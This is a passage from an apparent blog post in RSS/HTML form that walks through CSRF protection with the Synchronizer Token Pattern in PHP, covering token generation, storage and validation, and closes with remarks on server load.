href="https://www.w3schools.com/xml/ajax_xmlhttprequest_send.asp"><strong>open()</strong></a> and <a href="https://www.w3schools.com/xml/ajax_xmlhttprequest_send.asp"><strong>send()</strong></a> methods of the XMLHttpRequest object.</p><p>The <strong>onreadystatechange</strong> property defines a function to be executed when the <strong>readyState </strong>(holds the status of the XMLHttpRequest) changes.</p><blockquote>Note: To understand this ajax snippet more clearly, click on the bold key words.</blockquote><p>In general, an ajax call is sent to token_gen.php in the server to request a token.</p><h4>Step 4 &amp; Step 5: CSRF token is created and stored in the server, the token is sent a response.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OAn9hizEs5pgPj1Z7gJmJQ.png" /><figcaption>token_gen.php</figcaption></figure><p>As I mentioned earlier, the CSRF token should be a random value. This can be achieved by using <a href="https://www.php.net/manual/en/function.openssl-random-pseudo-bytes.php"><strong>openssl_random_pseudo_bytes(32)</strong></a>, which creates a random string of 32 bytes. This should encoded in <a href="https://www.php.net/manual/en/function.base64-encode.php"><strong>base64</strong></a><strong> </strong>to make the token difficult to read if intercepted. Once the token is generated, it is stored as a <a href="https://www.w3schools.com/php/php_sessions.asp">Session Variable</a> and also written to a text file. In order to identify the token’s identity, the session id is stored along with the token.</p><p>Once the file is written, the Session token can be sent as a response to the ajax call.</p><h4>Step 6: The CSRF token is received and updated to the hidden value in the form.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6HZRyhx5c5oNy88XDXyYiQ.png" /></figure><h4>Step 7 &amp; Step 8 : The form is submitted and the values are compared</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*BW2GHETAMCey4hK8wXZ4Hw.png" /><figcaption>validate_token.php</figcaption></figure><p>The token from the form is compared with the stored CSRF token in the text file. Along with it the Session cookie is validated with the stored Session Id.If the form is from the legitimate website, it would have the hidden token and it would be successfully validated.</p><h3>Conclusion</h3><p>STP is a good method to prevent CSRF attacks but as a downside it needs to store token &amp; session pair for each user in the server. This would overload the server if the website has many logged in users because the validation is done at the server side.</p><p>In my next blog post, I will be demonstrating Double Submit Cookie Pattern.If you have any questions regarding STP, feel free to comment below. I will try my best to answer them.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=755b3085b88" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>